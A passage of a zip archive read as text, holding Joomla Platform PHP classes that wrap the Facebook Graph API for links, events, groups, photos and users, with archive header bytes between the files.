setScope($scope) { $this->setOption('scope', $scope); return $this; } /** * Method to get the current scope * * @return string Comma separated list of permissions. * * @since 3.2.0 */ public function getScope() { return $this->getOption('scope'); } } PK�\g��]]joomla/facebook/link.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Facebook * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Facebook API Link class for the Joomla Platform. * * @link http://developers.facebook.com/docs/reference/api/link/ * @since 3.2.0 * @deprecated 4.0 Use the `joomla/facebook` package via Composer instead */ class JFacebookLink extends JFacebookObject { /** * Method to get a link. Requires authentication and read_stream permission for non-public links. * * @param string $link The link id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getLink($link) { return $this->get($link); } /** * Method to get a link's comments. Requires authentication and read_stream permission for non-public links. * * @param string $link The link id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getComments($link, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($link, 'comments', '', $limit, $offset, $until, $since); } /** * Method to comment on a link. Requires authentication and publish_stream permission. * * @param string $link The link id. * @param string $message The comment's text. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createComment($link, $message) { // Set POST request parameters. $data = array(); $data['message'] = $message; return $this->createConnection($link, 'comments', $data); } /** * Method to delete a comment. Requires authentication and publish_stream permission. * * @param string $comment The comment's id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function deleteComment($comment) { return $this->deleteConnection($comment); } /** * Method to get link's likes. Requires authentication and read_stream permission for non-public links. * * @param string $link The link id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getLikes($link, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($link, 'likes', '', $limit, $offset, $until, $since); } /** * Method to like a link. Requires authentication and publish_stream permission. * * @param string $link The link id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function createLike($link) { return $this->createConnection($link, 'likes'); } /** * Method to unlike a link. Requires authentication and publish_stream permission. * * @param string $link The link id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteLike($link) { return $this->deleteConnection($link, 'likes'); } } PK�\��eAAjoomla/facebook/event.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Facebook * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Facebook API User class for the Joomla Platform. * * @link http://developers.facebook.com/docs/reference/api/event/ * @since 3.2.0 * @deprecated 4.0 Use the `joomla/facebook` package via Composer instead */ class JFacebookEvent extends JFacebookObject { /** * Method to get information about an event visible to the current user. Requires authentication. * * @param string $event The event id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getEvent($event) { return $this->get($event); } /** * Method to get the event's wall. Requires authentication. * * @param string $event The event id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getFeed($event, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($event, 'feed', '', $limit, $offset, $until, $since); } /** * Method to post a link on event's feed which the current_user is or maybe attending. Requires authentication and publish_stream permission. * * @param string $event The event id. * @param string $link Link URL. * @param string $message Link message. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createLink($event, $link, $message = null) { // Set POST request parameters. $data = array(); $data['link'] = $link; $data['message'] = $message; return $this->createConnection($event, 'feed', $data); } /** * Method to delete a link. Requires authentication and publish_stream permission. * * @param mixed $link The Link ID. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteLink($link) { return $this->deleteConnection($link); } /** * Method to post on event's wall. Message or link parameter is required. Requires authentication and publish_stream permission. * * @param string $event The event id. * @param string $message Post message. * @param string $link Post URL. * @param string $picture Post thumbnail image (can only be used if link is specified) * @param string $name Post name (can only be used if link is specified). * @param string $caption Post caption (can only be used if link is specified). * @param string $description Post description (can only be used if link is specified). * @param array $actions Post actions array of objects containing name and link. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createPost($event, $message = null, $link = null, $picture = null, $name = null, $caption = null, $description = null, $actions = null) { // Set POST request parameters. $data = array(); $data['message'] = $message; $data['link'] = $link; $data['name'] = $name; $data['caption'] = $caption; $data['description'] = $description; $data['actions'] = $actions; $data['picture'] = $picture; return $this->createConnection($event, 'feed', $data); } /** * Method to delete a post. Note: you can only delete the post if it was created by the current user. * Requires authentication and publish_stream permission. * * @param string $post The Post ID. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deletePost($post) { return $this->deleteConnection($post); } /** * Method to post a status message on behalf of the user on the event's wall. Requires authentication and publish_stream permission. * * @param string $event The event id. * @param string $message Status message content. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createStatus($event, $message) { // Set POST request parameters. $data = array(); $data['message'] = $message; return $this->createConnection($event, 'feed', $data); } /** * Method to delete a status. Note: you can only delete the post if it was created by the current user. * Requires authentication and publish_stream permission. * * @param string $status The Status ID. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteStatus($status) { return $this->deleteConnection($status); } /** * Method to get the list of invitees for the event. Requires authentication and user_events or friends_events permission. * * @param string $event The event id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getInvited($event, $limit = 0, $offset = 0) { return $this->getConnection($event, 'invited', '', $limit, $offset); } /** * Method to check if a user is invited to the event. Requires authentication and user_events or friends_events permission. * * @param string $event The event id. * @param mixed $user Either an integer containing the user ID or a string containing the username. * * @return array The decoded JSON response or an empty array if the user is not invited. * * @since 3.2.0 */ public function isInvited($event, $user) { return $this->getConnection($event, 'invited/' . $user); } /** * Method to invite users to the event. Requires authentication and create_event permission. * * @param string $event The event id. * @param string $users Comma separated list of user ids. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function createInvite($event, $users) { // Set POST request parameters. $data = array(); $data['users'] = $users; return $this->createConnection($event, 'invited', $data); } /** * Method to delete an invitation. Note: you can only delete the invite if the current user is the event admin. * Requires authentication and rsvp_event permission. * * @param string $event The event id. * @param string $user The user id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteInvite($event, $user) { return $this->deleteConnection($event, 'invited/' . $user); } /** * Method to get the list of attending users. Requires authentication and user_events or friends_events permission. * * @param string $event The event id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getAttending($event, $limit = 0, $offset = 0) { return $this->getConnection($event, 'attending', '', $limit, $offset); } /** * Method to check if a user is attending an event. Requires authentication and user_events or friends_events permission. * * @param string $event The event id. * @param mixed $user Either an integer containing the user ID or a string containing the username. * * @return array The decoded JSON response or an empty array if the user is not invited. * * @since 3.2.0 */ public function isAttending($event, $user) { return $this->getConnection($event, 'attending/' . $user); } /** * Method to set the current user as attending. Requires authentication and rsvp_event permission. * * @param string $event The event id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function createAttending($event) { return $this->createConnection($event, 'attending'); } /** * Method to get the list of maybe attending users. Requires authentication and user_events or friends_events permission. * * @param string $event The event id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getMaybe($event, $limit = 0, $offset = 0) { return $this->getConnection($event, 'maybe', '', $limit, $offset); } /** * Method to check if a user is maybe attending an event. Requires authentication and user_events or friends_events permission. * * @param string $event The event id. * @param mixed $user Either an integer containing the user ID or a string containing the username. * * @return array The decoded JSON response or an empty array if the user is not invited. * * @since 3.2.0 */ public function isMaybe($event, $user) { return $this->getConnection($event, 'maybe/' . $user); } /** * Method to set the current user as maybe attending. Requires authentication and rscp_event permission. * * @param string $event The event id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function createMaybe($event) { return $this->createConnection($event, 'maybe'); } /** * Method to get the list of users which declined the event. Requires authentication and user_events or friends_events permission. * * @param string $event The event id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getDeclined($event, $limit = 0, $offset = 0) { return $this->getConnection($event, 'declined', '', $limit, $offset); } /** * Method to check if a user responded 'no' to the event. Requires authentication and user_events or friends_events permission. * * @param string $event The event id. * @param mixed $user Either an integer containing the user ID or a string containing the username. * * @return array The decoded JSON response or an empty array if the user is not invited. * * @since 3.2.0 */ public function isDeclined($event, $user) { return $this->getConnection($event, 'declined/' . $user); } /** * Method to set the current user as declined. Requires authentication and rscp_event permission. * * @param string $event The event id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function createDeclined($event) { return $this->createConnection($event, 'declined'); } /** * Method to get the list of users which have not replied to the event. Requires authentication and user_events or friends_events permission. * * @param string $event The event id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getNoreply($event, $limit = 0, $offset = 0) { return $this->getConnection($event, 'noreply', '', $limit, $offset); } /** * Method to check if a user has not replied to the event. Requires authentication and user_events or friends_events permission. * * @param string $event The event id. * @param mixed $user Either an integer containing the user ID or a string containing the username. * * @return array The decoded JSON response or an empty array if the user is not invited. * * @since 3.2.0 */ public function isNoreply($event, $user) { return $this->getConnection($event, 'noreply/' . $user); } /** * Method to get the event's profile picture. Requires authentication and user_events or friends_events permission. * * @param string $event The event id. * @param boolean $redirect If false this will return the URL of the picture without a 302 redirect. * @param string $type To request a different photo use square | small | normal | large. * * @return string The URL to the event's profile picture. * * @since 3.2.0 */ public function getPicture($event, $redirect = true, $type = null) { $extra_fields = ''; if ($redirect == false) { $extra_fields = '?redirect=false'; } if ($type) { $extra_fields .= (strpos($extra_fields, '?') === false) ? '?type=' . $type : '&type=' . $type; } return $this->getConnection($event, 'picture', $extra_fields); } /** * Method to get photos published on event's wall. Requires authentication. * * @param string $event The event id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getPhotos($event, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($event, 'photos', '', $limit, $offset, $until, $since); } /** * Method to post a photo on event's wall. Requires authentication and publish_stream permission. * * @param string $event The event id. * @param string $source Path to photo. * @param string $message Photo description. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createPhoto($event, $source, $message = null) { // Set POST request parameters. $data = array(); $data[basename($source)] = '@' . realpath($source); if ($message) { $data['message'] = $message; } return $this->createConnection($event, 'photos', $data, array('Content-Type' => 'multipart/form-data')); } /** * Method to get videos published on event's wall. Requires authentication. * * @param string $event The event id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getVideos($event, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($event, 'videos', '', $limit, $offset, $until, $since); } /** * Method to post a video on event's wall. Requires authentication and publish_stream permission. * * @param string $event The event id. * @param string $source Path to photo. * @param string $title Video title. * @param string $description Video description. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createVideo($event, $source, $title = null, $description = null) { // Set POST request parameters. $data = array(); $data[basename($source)] = '@' . realpath($source); if ($title) { $data['title'] = $title; } if ($description) { $data['description'] = $description; } return $this->createConnection($event, 'videos', $data, array('Content-Type' => 'multipart/form-data')); } } PK�\T�$�lljoomla/facebook/group.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Facebook * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Facebook API Group class for the Joomla Platform. * * @link http://developers.facebook.com/docs/reference/api/group/ * @since 3.2.0 * @deprecated 4.0 Use the `joomla/facebook` package via Composer instead */ class JFacebookGroup extends JFacebookObject { /** * Method to read a group. Requires authentication and user_groups or friends_groups permission for non-public groups. * * @param string $group The group id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getGroup($group) { return $this->get($group); } /** * Method to get the group's wall. Requires authentication and user_groups or friends_groups permission for non-public groups. * * @param string $group The group id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getFeed($group, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($group, 'feed', '', $limit, $offset, $until, $since); } /** * Method to get the group's members. Requires authentication and user_groups or friends_groups permission for non-public groups. * * @param string $group The group id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getMembers($group, $limit = 0, $offset = 0) { return $this->getConnection($group, 'members', '', $limit, $offset); } /** * Method to get the group's docs. Requires authentication and user_groups or friends_groups permission for non-public groups. * * @param string $group The group id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getDocs($group, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($group, 'docs', '', $limit, $offset, $until, $since); } /** * Method to get the groups's picture. Requires authentication and user_groups or friends_groups permission. * * @param string $group The group id. * @param string $type To request a different photo use square | small | normal | large. * * @return string The URL to the group's picture. * * @since 3.2.0 */ public function getPicture($group, $type = null) { if ($type) { $type = '?type=' . $type; } return $this->getConnection($group, 'picture', $type); } /** * Method to post a link on group's wall. Requires authentication and publish_stream permission. * * @param string $group The group id. * @param string $link Link URL. * @param string $message Link message. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createLink($group, $link, $message = null) { // Set POST request parameters. $data = array(); $data['link'] = $link; if ($message) { $data['message'] = $message; } return $this->createConnection($group, 'feed', $data); } /** * Method to delete a link. Requires authentication. * * @param mixed $link The Link ID. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteLink($link) { return $this->deleteConnection($link); } /** * Method to post on group's wall. Message or link parameter is required. Requires authentication and publish_stream permission. * * @param string $group The group id. * @param string $message Post message. * @param string $link Post URL. * @param string $picture Post thumbnail image (can only be used if link is specified) * @param string $name Post name (can only be used if link is specified). * @param string $caption Post caption (can only be used if link is specified). * @param string $description Post description (can only be used if link is specified). * @param array $actions Post actions array of objects containing name and link. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createPost($group, $message = null, $link = null, $picture = null, $name = null, $caption = null, $description = null, $actions = null) { // Set POST request parameters. if ($message) { $data['message'] = $message; } if ($link) { $data['link'] = $link; } if ($name) { $data['name'] = $name; } if ($caption) { $data['caption'] = $caption; } if ($description) { $data['description'] = $description; } if ($actions) { $data['actions'] = $actions; } if ($picture) { $data['picture'] = $picture; } return $this->createConnection($group, 'feed', $data); } /** * Method to delete a post. Note: you can only delete the post if it was created by the current user. Requires authentication. * * @param string $post The Post ID. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deletePost($post) { return $this->deleteConnection($post); } /** * Method to post a status message on behalf of the user on the group's wall. Requires authentication and publish_stream permission. * * @param string $group The group id. * @param string $message Status message content. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createStatus($group, $message) { // Set POST request parameters. $data = array(); $data['message'] = $message; return $this->createConnection($group, 'feed', $data); } /** * Method to delete a status. Note: you can only delete the status if it was created by the current user. Requires authentication. * * @param string $status The Status ID. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteStatus($status) { return $this->deleteConnection($status); } } PK�\�"����joomla/facebook/photo.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Facebook * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Facebook API Photo class for the Joomla Platform. * * @link http://developers.facebook.com/docs/reference/api/photo/ * @since 3.2.0 * @deprecated 4.0 Use the `joomla/facebook` package via Composer instead */ class JFacebookPhoto extends JFacebookObject { /** * Method to get a photo. Requires authentication and user_photos or friends_photos permission for private photos. * * @param string $photo The photo id. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getPhoto($photo) { return $this->get($photo); } /** * Method to get a photo's comments. Requires authentication and user_photos or friends_photos permission for private photos. * * @param string $photo The photo id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getComments($photo, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($photo, 'comments', '', $limit, $offset, $until, $since); } /** * Method to comment on a photo. Requires authentication and publish_stream permission, user_photos or friends_photos permission for private photos. * * @param string $photo The photo id. * @param string $message The comment's text. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createComment($photo, $message) { // Set POST request parameters. $data['message'] = $message; return $this->createConnection($photo, 'comments', $data); } /** * Method to delete a comment. Requires authentication and publish_stream permission, user_photos or friends_photos permission for private photos. * * @param string $comment The comment's id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteComment($comment) { return $this->deleteConnection($comment); } /** * Method to get photo's likes. Requires authentication and user_photos or friends_photos permission for private photos. * * @param string $photo The photo id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getLikes($photo, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($photo, 'likes', '', $limit, $offset, $until, $since); } /** * Method to like a photo. Requires authentication and publish_stream permission, user_photos or friends_photos permission for private photos. * * @param string $photo The photo id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function createLike($photo) { return $this->createConnection($photo, 'likes'); } /** * Method to unlike a photo. Requires authentication and publish_stream permission, user_photos or friends_photos permission for private photos. * * @param string $photo The photo id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function deleteLike($photo) { return $this->deleteConnection($photo, 'likes'); } /** * Method to get the Users tagged in the photo. Requires authentication and user_photos or friends_photos permission for private photos. * * @param string $photo The photo id. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getTags($photo, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($photo, 'tags', '', $limit, $offset, $until, $since); } /** * Method to tag one or more Users in a photo. $to or $tagText required. * Requires authentication and publish_stream permission, user_photos permission for private photos. * * @param string $photo The photo id. * @param mixed $to ID of the User or an array of Users to tag in the photo: [{"id":"1234"}, {"id":"12345"}]. * @param string $tagText A text string to tag. * @param integer $x x coordinate of tag, as a percentage offset from the left edge of the picture. * @param integer $y y coordinate of tag, as a percentage offset from the top edge of the picture. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function createTag($photo, $to = null, $tagText = null, $x = null, $y = null) { // Set POST request parameters. if (is_array($to)) { $data['tags'] = $to; } else { $data['to'] = $to; } if ($tagText) { $data['tag_text'] = $tagText; } if ($x) { $data['x'] = $x; } if ($y) { $data['y'] = $y; } return $this->createConnection($photo, 'tags', $data); } /** * Method to update the position of the tag for a particular Users in a photo. * Requires authentication and publish_stream permission, user_photos permission for private photos. * * @param string $photo The photo id. * @param string $to ID of the User to update tag in the photo. * @param integer $x x coordinate of tag, as a percentage offset from the left edge of the picture. * @param integer $y y coordinate of tag, as a percentage offset from the top edge of the picture. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function updateTag($photo, $to, $x = null, $y = null) { // Set POST request parameters. $data['to'] = $to; if ($x) { $data['x'] = $x; } if ($y) { $data['y'] = $y; } return $this->createConnection($photo, 'tags', $data); } /** * Method to get the album-sized view of the photo. Requires authentication and user_photos or friends_photos permission for private photos. * * @param string $photo The photo id. * @param boolean $redirect If false this will return the URL of the picture without a 302 redirect. * * @return string URL of the picture. * * @since 3.2.0 */ public function getPicture($photo, $redirect = true) { $extra_fields = ''; if ($redirect == false) { $extra_fields = '?redirect=false'; } return $this->getConnection($photo, 'picture', $extra_fields); } } PK�\�E������joomla/facebook/user.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Facebook * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Facebook API User class for the Joomla Platform. * * @link http://developers.facebook.com/docs/reference/api/user/ * @since 3.2.0 * @deprecated 4.0 Use the `joomla/facebook` package via Composer instead */ class JFacebookUser extends JFacebookObject { /** * Method to get the specified user's details. Authentication is required only for some fields. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getUser($user) { return $this->get($user); } /** * Method to get the specified user's friends. Requires authentication. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getFriends($user, $limit = 0, $offset = 0) { return $this->getConnection($user, 'friends', '', $limit, $offset); } /** * Method to get the user's incoming friend requests. Requires authentication and read_requests permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getFriendRequests($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'friendrequests', '', $limit, $offset, $until, $since); } /** * Method to get the user's friend lists. Requires authentication and read_friendlists permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getFriendLists($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'friendlists', '', $limit, $offset, $until, $since); } /** * Method to get the user's wall. Requires authentication and read_stream permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getFeed($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'feed', '', $limit, $offset, $until, $since); } /** * Method to get the user's news feed. Requires authentication and read_stream permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param string $filter User's stream filter. * @param boolean $location Retrieve only posts with a location attached. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getHome($user, $filter = null, $location = false, $limit = 0, $offset = 0, $until = null, $since = null) { $extra_fields = ''; if ($filter != null) { $extra_fields = '?filter=' . $filter; } if ($location == true) { $extra_fields .= (strpos($extra_fields, '?') === false) ? '?with=location' : '&with=location'; } return $this->getConnection($user, 'home', $extra_fields, $limit, $offset, $until, $since); } /** * Method to see if a user is a friend of the current user. Requires authentication. * * @param mixed $currentUser Either an integer containing the user ID or a string containing the username for the current user. * @param mixed $user Either an integer containing the user ID or a string containing the username for the user. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function hasFriend($currentUser, $user) { return $this->getConnection($currentUser, 'friends/' . $user); } /** * Method to get mutual friends of one user and the current user. Requires authentication. * * @param mixed $currentUser Either an integer containing the user ID or a string containing the username for the current user. * @param mixed $user Either an integer containing the user ID or a string containing the username for the user. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getMutualFriends($currentUser, $user, $limit = 0, $offset = 0) { return $this->getConnection($currentUser, 'mutualfriends/' . $user, '', $limit, $offset); } /** * Method to get the user's profile picture. Requires authentication. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param boolean $redirect If false this will return the URL of the profile picture without a 302 redirect. * @param string $type To request a different photo use square | small | normal | large. * * @return string The URL to the user's profile picture. * * @since 3.2.0 */ public function getPicture($user, $redirect = true, $type = null) { $extra_fields = ''; if ($redirect == false) { $extra_fields = '?redirect=false'; } if ($type != null) { $extra_fields .= (strpos($extra_fields, '?') === false) ? '?type=' . $type : '&type=' . $type; } return $this->getConnection($user, 'picture', $extra_fields); } /** * Method to get the user's family relationships. Requires authentication and user_relationships permission.. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getFamily($user, $limit = 0, $offset = 0) { return $this->getConnection($user, 'family', '', $limit, $offset); } /** * Method to get the user's notifications. Requires authentication and manage_notifications permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param boolean $read Enables you to see notifications that the user has already read. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getNotifications($user, $read = null, $limit = 0, $offset = 0, $until = null, $since = null) { if ($read == true) { $read = '?include_read=1'; } // Send the request. return $this->getConnection($user, 'notifications', $read, $limit, $offset, $until, $since); } /** * Method to mark a notification as read. Requires authentication and manage_notifications permission. * * @param string $notification The notification id. * * @return boolean Returns true if successful, and false otherwise. * * @since 3.2.0 */ public function updateNotification($notification) { $data['unread'] = 0; return $this->createConnection($notification, null, $data); } /** * Method to get the user's permissions. Requires authentication. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getPermissions($user, $limit = 0, $offset = 0) { return $this->getConnection($user, 'permissions', '', $limit, $offset); } /** * Method to revoke a specific permission on behalf of a user. Requires authentication. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param string $permission The permission to revoke. If none specified, then this will de-authorize the application completely. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function deletePermission($user, $permission = '') { return $this->deleteConnection($user, 'permissions', '?permission=' . $permission); } /** * Method to get the user's albums. Requires authentication and user_photos or friends_photos permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function getAlbums($user, $limit = 0, $offset = 0, $until = null, $since = null) { return $this->getConnection($user, 'albums', '', $limit, $offset, $until, $since); } /** * Method to create an album for a user. Requires authentication and publish_stream permission. * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param string $name Album name. * @param string $description Album description. * @param string $privacy A JSON-encoded object that defines the privacy setting for the album. * * @return mixed The decoded JSON response or false if the client is not authenticated. * * @since 3.2.0 */ public function createAlbum($user, $name, $description = null, $privacy = null) { // Set POST request parameters. $data = array(); $data['name'] = $name; $data['description'] = $description; $data['privacy'] = $privacy; return $this->createConnection($user, 'albums', $data); } /** * Method to get the user's checkins. Requires authentication and user_checkins or friends_checkins permission * * @param mixed $user Either an integer containing the user ID or a string containing the username. * @param integer $limit The number of objects per page. * @param integer $offset The object's number on the page. * @param string $until A unix timestamp or any date accepted by strtotime. * @param string $since A unix timestamp or any date accepted by strtotime. * * @return mixed The decoded JSON response or false if the client is not authenticated. * 